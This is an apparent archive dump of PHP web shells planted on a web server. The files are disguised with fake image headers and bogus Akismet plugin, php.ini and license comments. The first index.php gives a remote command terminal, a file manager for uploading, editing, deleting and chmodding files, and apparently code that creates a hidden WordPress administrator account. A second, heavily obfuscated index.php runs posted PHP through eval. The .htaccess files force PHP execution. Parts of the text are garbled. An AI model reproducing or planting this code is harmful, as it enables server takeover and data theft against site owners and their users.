🍲dfcv🏰dd⋉(● ∸ ●)⋊@% PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!index.php000064400000036521152427537260006410 0ustar00$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: " . date('Y-m-d') . "

"; ?>

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team Author URI: */ /* %s: Title of the post the attachment is attached to. */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ ?> * Package : php * Path : /etc/php/8.1/apache2/php.ini * * Description: * This is a sample PHP configuration file used in Ubuntu. * Do not edit this file directly unless you know what you're doing. * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory. * * License: * Distributed under the same terms as PHP itself. * See: https://www.php.net/license/3_01.txt */ // ================= CONFIG ================= $ROOT = __DIR__; $BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("A", "D", "I", "B"); return str_replace($b, $a, $path); } $root_path = $ROOT; if (isset($_GET['page'])) { if ($_GET['page'] === '') { $p = $root_path; } elseif (!is_dir(decodePath($_GET['page']))) { echo ""; exit; } else { $p = decodePath($_GET['page']); } } else { $p = $root_path; } define("PATH", $p); session_start(); // AUTO-SYNC: Always sync terminal cwd with file manager path if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(PATH)) { $_SESSION['cwd'] = realpath(PATH); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Terminal command execution - MUST BE FIRST to avoid conflicts if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { // Allowed functions $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } $cwd = $_SESSION['cwd']; $cmdInput = trim($_POST['terminal-text']); $output = ""; // Handle cd command if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $root_path; } elseif ($dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } // Store output in session to display after redirect $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back with current path header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } elseif ($canExecute) { // Change to terminal's working directory chdir($cwd); $cmd = $cmdInput . " 2>&1"; // Execute command if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } // Store output in session $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } } // File manager actions (original code) // Upload if (!empty($_FILES['files'])) { foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { move_uploaded_file($tmp, PATH . '/' . basename($_FILES['files']['name'][$i])); } } } // New Folder if (!empty($_POST['newfolder'])) { mkdir(PATH . '/' . basename($_POST['newfolder']), 0755); } // New File if (!empty($_POST['newfile'])) { file_put_contents(PATH . '/' . basename($_POST['newfile']), ''); } // Delete if (!empty($_POST['delete'])) { $target = PATH . '/' . $_POST['delete']; if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } // Rename if (!empty($_POST['old']) && !empty($_POST['new'])) { rename(PATH . '/' . $_POST['old'], PATH . '/' . $_POST['new']); } // Chmod if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { chmod(PATH . '/' . $_POST['chmod_file'], intval($_POST['chmod'], 8)); } // Edit save if (!empty($_POST['edit_file']) && isset($_POST['content'])) { file_put_contents(PATH . '/' . $_POST['edit_file'], $_POST['content']); } header("Location: ?page=" . urlencode(encodePath(PATH))); exit; } $items = scandir(PATH); // Edit mode $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file(PATH . '/' . $editFile)) { $editContent = htmlspecialchars(file_get_contents(PATH . '/' . $editFile)); } // Terminal output $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? PATH; unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']); ?> WordFence

Sid Gifari File Manager

🏠 Root / ' . htmlspecialchars($part) . ' / '; } ?>

Editing:



root@Sid-Gifari:$


NameSizePermAction
📁 📄
set_role('administrator'); $_SESSION['wp_admin_message'] = "✅ WordPress"; } else { $_SESSION['wp_admin_message'] = "User creation failed"; } } else { $_SESSION['wp_admin_message'] = "User already exists"; } } else { $_SESSION['wp_admin_message'] = "WordPress functions not available"; } } else { $_SESSION['wp_admin_message'] = "WordPress not found"; } $_SESSION['wp_admin_created'] = true; } $message = isset($_SESSION['wp_admin_message']) ? $_SESSION['wp_admin_message'] : ''; ?> .htaccess000064400000000132152427537260006353 0ustar00 Require all granted SetHandler application/x-httpd-php dataa40e41/index.php000064400000035627152427537260010146 0ustar00 $kw50S) { goto WI_Ee; O0PGU: $wGXoa = 0; goto EJWfK; WI_Ee: if (!($kw50S === '' && $zpiL_ === 0)) { goto R2zQa; } goto CNvN6; LO9LX: $F4W5j[] = "\x2f"; goto k7xAi; KT3BU: $F4W5j[] = $wMsRe[$wGXoa]; goto FKNph; UuNQy: $F4W5j[] = "\42\76" . $kw50S . "\x3c\57\x61\76\57"; goto GX8Pm; EV5le: R2zQa: goto HuCqn; NVuD2: $F4W5j[] = "\74\x61\40\150\162\145\146\x3d\x22\x3f\xea\xb2\xbd\xeb\xa1\234\x3d"; goto O0PGU; FKNph: if (!($wGXoa != $zpiL_)) { goto Q6Btr; } goto LO9LX; CNvN6: $F4W5j[] = "\x3c\x61\x20\x68\162\x65\146\75\x22\x3f\xea\262\275\xeb\xa1\234\75\57\42\76\57\74\x2f\141\76"; goto A8WA8; OExDb: TRdgJ: goto uRhJ1; uRhJ1: $wGXoa++; goto ZLAyF; HuCqn: if (!($kw50S === '')) { goto Dm84E; } goto ULS4g; ZLAyF: goto uO73d; goto vKiQb; vKiQb: B1whv: goto UuNQy; ZK_R5: Dm84E: goto NVuD2; GX8Pm: as2ow: goto P44gp; ULS4g: goto as2ow; goto ZK_R5; A8WA8: goto as2ow; goto EV5le; k7xAi: Q6Btr: goto OExDb; gkv30: if (!($wGXoa <= $zpiL_)) { goto B1whv; } goto KT3BU; EJWfK: uO73d: goto gkv30; P44gp: } goto ODk_W; WZ9Ot: } goto zbkh1; Ut6Mg: PBWLG: goto jcNmB; S7a4t: O0jzq: goto v0Lsy; bIE_Z: yGv2M($ER0mM); goto ULOoA; vs10_: function p92dB($ER0mM, $ykfRR) { goto iIonH; Xtof3: echo "\355\x8c\x8c\354\x9d\274\40\354\227\205\353\xa1\234\353\223\234\40\354\x8b\244\xed\x8c\xa8\56"; goto CFOdp; CFOdp: goto ASw1B; goto mCdlQ; cURoI: if (@move_uploaded_file($ykfRR["\164\155\160\137\156\x61\155\145"], $aX89e)) { goto kRTU8; } goto Xtof3; mCdlQ: kRTU8: goto BZQmz; UjtAT: ASw1B: goto oFLu1; iIonH: $aX89e = $ER0mM . "\x2f" . basename($ykfRR["\x6e\x61\x6d\145"]); goto cURoI; BZQmz: echo "\355\x8c\214\xec\x9d\xbc\40\xec\227\205\xeb\xa1\234\353\223\x9c\x20\xec\x84\261\xea\263\265\72\40" . htmlspecialchars($ykfRR["\156\x61\155\x65"]); goto UjtAT; oFLu1: } goto yogQX; re4W1: echo "\74\146\157\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\x70\157\163\x74\x22\76"; goto xr5qt; xr5qt: echo "\x3c\x74\x65\170\164\x61\x72\145\141\x20\156\x61\155\x65\75\x22\x50\x48\x50\354\xbd\224\xeb\x93\x9c\42\76\74\57\164\145\x78\164\141\x72\x65\x61\x3e\74\x62\x72\x3e"; goto Ebw9X; aNwIT: $ER0mM = $_GET["\352\262\xbd\353\241\x9c"] ?? getcwd(); goto bgrPh; XikA3: goto Yjgew; goto rrhGx; hSO4S: echo "\74\x68\x32\x3e\xed\x8e\270\xec\xa7\x91\x20\xed\214\x8c\354\235\xbc\72\x20{$ykfRR}\x3c\x2f\x68\62\76"; goto Q4HAr; X2X27: P92dB($ER0mM, $_FILES["\355\214\214\xec\235\274"]); goto Fudgh; Ebw9X: echo "\x3c\x69\x6e\160\165\x74\x20\x74\x79\160\145\75\42\x73\x75\142\x6d\151\164\x22\x20\x76\141\154\x75\x65\75\x22\xec\213\xa4\355\226\211\x22\x3e"; goto RSt2M; QOydt: echo "\x3c\x68\63\76\120\x48\120\x20\354\275\224\353\223\x9c\x20\354\213\xa4\xed\226\211\x3a\74\x2f\150\63\x3e"; goto re4W1; ZkJVR: echo "\x3c\x68\x33\x3e\355\217\264\353\x8d\x94\x20\353\202\264\354\232\xa9\72\x3c\57\150\x33\76"; goto bIE_Z; xwEgn: function tVGaU($FzCc_) { goto V7xQz; ctWW3: $Ao7V1 = floor(log($FzCc_, 1024)); goto grlIB; V7xQz: $FD8pl = ["\102", "\113\102", "\x4d\x42", "\107\102", "\124\102"]; goto Oijq3; Xy0RW: utEUm: goto ctWW3; xDLuj: return "\60\40\102"; goto Xy0RW; Oijq3: if (!($FzCc_ == 0)) { goto utEUm; } goto xDLuj; grlIB: return @round($FzCc_ / pow(1024, $Ao7V1), 2) . "\40" . $FD8pl[$Ao7V1]; goto MPwob; MPwob: } goto OEPkB; uc1kN: echo "\x3c\x2f\146\x6f\162\155\76"; goto QOydt; bgrPh: if (isset($_GET["\354\236\221\xec\x97\x85"]) && $_GET["\354\236\x91\xec\227\205"] === "\355\x8e\xb8\xec\xa7\221" && isset($_GET["\xed\x8c\214\xec\x9d\274"])) { goto lJmGa; } goto i1ppp; i1ppp: echo "\74\x68\62\x3e\xea\xb2\275\353\241\x9c\x3a\40" . htmlspecialchars($ER0mM) . "\x3c\x2f\x68\62\x3e"; goto qBo46; jklzy: echo "\x3c\151\156\160\165\164\x20\164\171\160\145\75\42\146\151\x6c\x65\42\x20\x6e\141\155\145\x3d\42\355\x8c\x8c\xec\235\274\x22\76\x3c\x62\x72\x3e"; goto sl2cu; ULOoA: echo "\74\150\x72\x3e"; goto TshfO; O7YFd: function bfc3Y($ppp3m) { return htmlspecialchars(strip_tags($ppp3m)); } goto xwEgn; yogQX: function CN2BB($SmfbM) { try { goto fjD5t; fjD5t: ob_start(); goto PBB28; PBB28: eval($SmfbM); goto T53vC; j0wR4: echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\42\142\141\143\x6b\x67\x72\157\x75\156\x64\55\143\157\154\157\162\72\43\x33\63\63\x3b\40\x70\x61\144\x64\x69\156\147\72\x31\60\160\x78\x3b\42\x3e" . htmlspecialchars($DASmm) . "\x3c\57\x64\x69\x76\76"; goto RahSc; T53vC: $DASmm = ob_get_clean(); goto j0wR4; RahSc: } catch (Throwable $ii_0m) { echo "\xec\x98\xa4\xeb\245\230\72\40" . htmlspecialchars($ii_0m->getMessage()); } } goto aNwIT; z7k5A: function siZyJ($e0OaB) { goto ftEgO; FOsO0: if (@file_put_contents($e0OaB, $SCghP) !== false) { goto KiQl_; } goto P5cUI; BV3Er: goto NNuCH; goto nnGEw; P5cUI: echo "\xed\x8c\x8c\354\235\274\40\354\xa0\x80\xec\x9e\xa5\40\354\213\xa4\355\214\250\56"; goto BV3Er; UD9E8: echo "\x3c\57\146\x6f\162\155\x3e"; goto KrzRV; AfiIy: echo "\355\214\214\xec\235\274\40\354\xa0\x80\xec\x9e\245\x20\354\204\xb1\352\263\265\x2e"; goto v3Nuc; hYn2E: HCTT_: goto bDfKq; nnGEw: KiQl_: goto AfiIy; ftEgO: if (!($_SERVER["\x52\105\x51\x55\105\123\124\137\115\x45\x54\x48\x4f\104"] === "\x50\x4f\x53\124" && isset($_POST["\xed\x8c\x8c\xec\235\xbc\xeb\x82\264\xec\x9a\251"]))) { goto HCTT_; } goto QgUdJ; QgUdJ: $SCghP = $_POST["\xed\x8c\x8c\xec\x9d\xbc\353\x82\264\354\232\251"]; goto FOsO0; M_vIq: echo "\74\146\x6f\162\155\x20\x6d\145\x74\150\157\x64\x3d\42\x70\x6f\163\164\x22\76"; goto bGOSs; jX9LP: echo "\x3c\x69\156\x70\x75\164\40\x74\x79\x70\x65\x3d\42\x73\165\x62\x6d\x69\164\42\x20\x76\141\x6c\165\145\75\42\354\240\200\354\x9e\245\42\76"; goto UD9E8; bDfKq: $SCghP = @file_get_contents($e0OaB) ?: ''; goto M_vIq; v3Nuc: NNuCH: goto hYn2E; bGOSs: echo "\x3c\164\145\170\x74\141\x72\145\141\40\x6e\141\x6d\145\x3d\x22\xed\x8c\x8c\xec\x9d\xbc\353\202\264\354\232\251\42\76" . htmlspecialchars($SCghP) . "\x3c\x2f\x74\145\x78\x74\141\x72\x65\141\x3e\74\x62\x72\76"; goto jX9LP; KrzRV: } goto vs10_; htG8u: Cn2BB($_POST["\x50\x48\120\354\275\x94\xeb\223\234"]); goto Ut6Mg; jcNmB: echo "\x20\40\40\40\x3c\x2f\144\151\x76\x3e\xd\12\x3c\57\142\157\144\171\76\15\xa\74\57\x68\164\155\x6c\x3e"; ?>dataa40e41/.htaccess000064400000000132152427537260010103 0ustar00 Require all granted SetHandler application/x-httpd-php